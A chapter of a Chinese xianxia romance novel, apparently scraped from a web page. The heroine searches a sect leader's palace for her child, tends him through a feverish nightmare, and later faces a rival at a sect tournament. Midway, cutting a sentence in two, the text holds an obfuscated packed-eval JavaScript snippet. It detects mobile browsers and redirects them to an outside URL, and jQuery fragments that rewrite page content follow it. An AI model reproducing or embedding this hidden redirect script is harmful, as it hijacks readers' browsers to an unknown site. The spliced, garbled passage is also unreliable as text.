临溪镇新郎失踪之谜终于真相大白。
蛇妖已死,王府里作乱的小妖趁乱想逃,都被他们拿下,缙云疏差手下弟子将他们押往妖界。
只是,他们在清缴妖邪时,意外发现关押在后院地牢里的几个修士。
地牢阴暗潮湿,忽然闪进的光线晃眼,让他们不自觉伸手阻挡。
待适应后,才发现他们着装统一,竟然清一色都是蜀山派弟子。
蜀山派擅长炼丹,门下弟子多丹剑双修。
领头的修士眉目清俊,见有人来救,面露欣喜之色,待看清他们道服,不由低下了头。
水弄芙道:“各位同道,蛇妖已除,你们可以出去了。”
“实乃惭愧,”领头的修士抱拳道:“今日多谢贵派相救,日后如有需要,宋俞定会报答。”
临走前,他赠与水弄芙一枚令牌,作为信物。
水弄芙没太在意,以为是普通令牌,也不好拒绝他人好意,便顺手收了。
只是,他们把王府翻了个底朝天,也没发现临溪镇失踪的新郎。
当他们将消息告诉镇上居民,有将男子入赘王府的人家忍不住涕泪横流。
“三郎定是被那蛇妖给……”
此时,乔二郎走上前跪下,他小心翼翼拿出一条枕帛,道:“此乃我阿婆亲手织就的枕帛,能息神安宁,保仙君夜里安睡无梦。”
缙云疏立于檐下,神情意味难明。
水弄芙见他不表态,乔二郎还跪着,也不能拂了人家好意,所幸接过:“弄芙代仙君谢过阿婆。”
镇上君民见乔二郎此举,也趁机将准备好的当地特产送给他们:“多谢仙人帮我们除掉那蛇妖,这点特产虽不值钱,但都是我们心意,你们收下吧。”
同门们每个人手里或提或抱着一堆特产,都是临溪镇居民滚烫的心意。
不知怎么,他们他们却低下了头。
有的忍不住,偷偷看向水弄芙。
身着淡紫仙裙的少女,面朝晨光,清新,明朗;犹如旭日初升时的一道霞光。
是新生般的期待!
良久,缙云疏从少女身上收回了目光,捻了捻手指。
*
从临溪镇回来后,她把非宝接回遣云宫。
小家伙虽出生不久,就已经和人类的小宝宝一样调皮。
“娘亲……偶要玩捉没茶,”非宝拉着她就往外走。
水弄芙摇摇头,小家伙估计是嫌弃她这间屋太小,不够他藏身。
非宝不知从哪儿拿出一条绸带,帮她把眼睛蒙上。
“娘亲,不许偷看,等非宝茶好了你才能找偶哦。”说着,撒着两条小短腿儿就往一处高大、宽敞的殿宇跑去。
水弄芙等了好久,见四周静寂无声,估计非宝已经藏好,便起身去寻他。
“非宝!”
半炷香后,水弄芙几乎把大半个遣云宫都找遍了,依旧没找到非宝,她看向最后那间殿宇。
那是缙云疏的寝宫。
她本能地就要往回走,奈何……
她看了看天色,已近黄昏,虽然遣云宫是缙云疏的地方,但非宝毕竟还小,万一出事了怎么办?
她推开了那扇久未进入的门。
首先,闯入眼帘地是一方书案。
台阶之上,巨大白玉金缕书案如旧,镇纸、笔挂、砚台历历在目。
前世,缙云疏书写时,她总会自觉地为他磨墨,她心细如发,墨汁磨得浓一分显厚,淡一分显薄。
缙云疏有时会书写很久,二人静静地能呆上一下午。
如今书案犹在,人却无踪。
她继续往里走,推开一间尘封的密室,只见墙壁上挂着几件各式武器,其中最醒目的是一把长弓。
悯天!
她心口传来一阵刺痛!
她还记得箭矢入心的剧痛,那是怎样地绝望。
那么心心念念的人,用这把长弓……怎么能这样狠心!
世人都说,以心换心,她一心只系于他,换来地是一颗心寸寸破碎。
如今,她又有一颗完整的心,这一世,必定只属于自己。
她掐出指决,打出一记焚寂诀,试图一把火烧了这柄长弓。
火焰瞬间将它包裹,要不了一炷香的功夫,就会化为一堆飞灰。
一炷香后,指决失灵,悯天依旧毫发无损。
她祭出长剑,丹田发力,一剑劈山倒海后,悯天依旧悠然无恙。
她额间沁出汗水,虽然只有两招,几乎运用她功力的八成。
自古神兵黩武强悍如斯,今日总算长见识了。
但她还想再试一下,于是并指为钳,试图掐断悯天弓弦,却听见门外有声。
缙云疏平日喜静,大多在密室修炼,只有起床入寝时,需要句芒随侍。
水弄芙走出密室。
见天色不知不觉已然全黑,寝宫纱幔重重,看不真切。
声音自寝室传来。
水弄芙前世唯一一次进入缙云疏寝室,还是他诛杀凶兽鸱厌那一次。
他全身是血,重伤垂危,身上伤痕遍布,人事不省。
句芒又被他派出去送信,所有清洗伤口,上药,换药的事全都由她照料。
两个月后,他痊愈。
自此,缙云疏寝室便没再对她设限。
想想,前世他们也并非没有相好的时候,每当她为缙云疏换好药,他都会送她一件宝物。
有时是南海的夜明珠,有时是提升灵力的仙药,更有甚者,他将他随身的玉佩赠予了她,她视若珍宝的琉璃簪也是那时候他送的。
当时不知玉佩由来,后来才知道,那件玉佩是他娘亲的遗物。
缙云疏有那么一刻,应该是喜欢她的吧。
要不然怎么会将娘亲遗物赠与?
只可惜,在那点喜欢面前,他还是心系宗门,最后为了宗门的安危要了她的命。
那点微不足道的喜欢于水弄芙来说,就是个笑话。
她循着声音,来到缙云疏床前。
轻纱帷幔下,缙云疏似乎睡得极为不安稳,嘴里不断地喊着:“娘亲……”
自打从临溪镇回来后,缙云疏显得比往日更清冷,常常独自一人伫立在崖边,直到日落星起。
她曾进入过缙云疏幻境,知道他幼时在那样一个肮脏、无耻的地方度过,对男欢女爱之事极为抗拒。
那么前世,他如此待她,也属正常。
一个厌恶、排斥亲近的人,如何能给予对方爱。
水弄芙虽然不能原谅那一箭之恨,但对于前世他不爱自己这件事已经释然。
此刻,缙云疏躺在床上,乌黑的长发如水般流泻在玉枕上,冲洗掉白日里清冷和疏离,整个人显得柔软而脆弱。
他修眉微蹙,额角沁出些许冷汗,似乎被梦里的景象刺激到了,身体轻轻地颤抖。
嘴里含糊不清地呢喃:“……小芙,对不起……”
水弄芙刚伸出的手在空中一滞。
她狐疑地看着缙云疏,“小芙”这个称呼,是她没日没夜地照顾重病的缙云疏,他身体好转之后才这么叫她的。
她伸手搭上他前额,果然有些发烫。
人在生病的时候,往往变得很脆弱,她没有多想。
缙云疏寝宫后有一汪冷泉流经寝室,她打来泉水,拧上略微冰凉的毛巾,帮他拭去额角的汗水。
谁知,他一把扣住她的手腕,猛地一拉,水弄芙身体失衡,倒在他怀里。
下一刻,她被搂进一个温暖的臂弯,不能动弹。
“……小芙,……不要走……”此刻,缙云疏嘴里呢喃着,眉头紧蹙,似乎忍受着极大的痛苦。
良久,水弄芙试着动了动,发现缙云疏两只手臂如同铁钳紧紧将她禁锢在怀里。
她感觉到他深入骨髓般地痛苦。
在那个暗无天日的地宫里,只有娘亲陪伴着他,但最后,他也没能救出娘亲……
那个凌虐娘亲和他,并且被他亲手杀死的,竟然是他的亲身父亲。
水弄芙是孤儿,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419735|168978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但她在那一刻,反倒庆幸自己没有父亲。
有那样的父亲,是一种耻辱。
于是,水弄芙跪坐起来,抱起缙云疏,轻轻拍着他的背,就像哄非宝入睡一样。
“乖宝宝,快睡觉,娘亲给你唱歌谣……”
她歌声轻柔,轻轻摇晃,就像睡入摇篮。
缙云疏好像感觉到什么。
良久,渐渐安稳下来。
水弄芙轻轻放下他,敛去所有的温柔,眼底浮现一丝冷漠。
*
仙盟每隔五十年举办一次聚会,此次轮到北冥宗。
北冥宗位于极北之境。
那里常年冰雪覆盖,一片银装素裹,和中原、南域大相径庭。
身在昆仑,常年清风朗月,碧树桃花,难免对北域极尽寒冷的纯粹所吸引。
还有听说,极北之境的男子剑眉修鼻,个个英武不凡;女子身材高挑,面若冰霜,内里柔情似水。
不少弟子都摩拳擦掌,跃跃欲试。
宗门传来消息,为此定下一场大比,胜者方可参加仙盟举办的寒馔节。
三日后,所有金丹期以上修士聚集演武峰。
此山峰设有十几个演武场,专门用来试炼弟子们功法修为的地方。
此次,有资格进入演武场的都是宗门的精英,宗主也是想借机看看,这些年弟子们境界修为如何,别带出去,丢了宗门的脸。
其他十几个演武场都已经满员,主持长老们早已经排好试炼顺序。
为了杜绝同门厮杀,三招之内分出胜负。
好巧不巧,水弄芙与柳和鸢分到了一组。
大家看到试炼台上的二人,纷纷过来凑热闹。
自打从临溪镇回来后,水弄芙在遣云宫就没再见到过柳和鸢。
少女着淡紫色流仙裙,神情清冷,犹如雪山神女。
再看柳和鸢,几日不见,她面色憔悴,眼底带着黑眼圈,浑身透出一股怨气。
看台下,同门开始窃窃私语。
一个杏眼女修道:“你们听说了吗?柳和鸢被遣云仙君休弃回润慧宫了。”
“可不是嘛,听说她品行不端,在临溪镇对仙君下药,想和仙君苟且,被仙君发现及时制止了。”另一个凤眼女修附和道。
站在二人身旁的高个女修道:“还听说,她给仙君下的药竟然是向妖物换取的。”
杏眼女修道:“她竟然不顾同门安危,和妖物同流合污,要不是那日在戒律堂里,遣云仙君为她求情,只怕她现在早被锁在后山仙牢了。”
凤眼女修道:“平时真看不出,柳和鸢是这样一个人,真是不知廉耻!”
高个女修道:“真瞎了眼,道侣甄选当日,她把水弄芙打下不悯渊时还为她说了话。”
这时来了一个浓眉大眼的男修:“听说,这临溪镇蛇妖祸乱,还真亏了水弄芙。”
杏眼女修道:“怎么个说法?”
浓眉男修道:“听同门说,他们陷入幻境,是水师妹将他们唤醒,这才从幻境里走了出来。”
他接着道:“还听说,水师妹在临溪镇得了大机缘,境界直接从筑基飞跃进金丹大圆满。”
凤眼女修道:“一般情况,从筑基到金丹,快的话怎么也得个十好几年,慢的话几十年,这种事简直不可思议。”
浓眉男修道:“要不然怎么说,水师妹得了大机缘呢!”
“以后你们少说人家技不如人,免得日后打自己的脸!”
旁边有几个修士听到此话,脸上羞得通红。
这时,旁边一个一直沉默的男修开口道:“别倒戈太快,柳和鸢毕竟是元婴境,比起金丹境,足足高出一个境界。”
在修仙界,境界与境界的壁垒犹如天堑,不同境界,实力悬殊,是绝无可能处在一起,只有一些特别的情况。
比如甄选、出门完成任务等等。
所以柳和鸢还是被大家看好的一方。
“哎呀,你们快看,水师妹和柳和鸢的比试开始了。”凤眼女修大声道。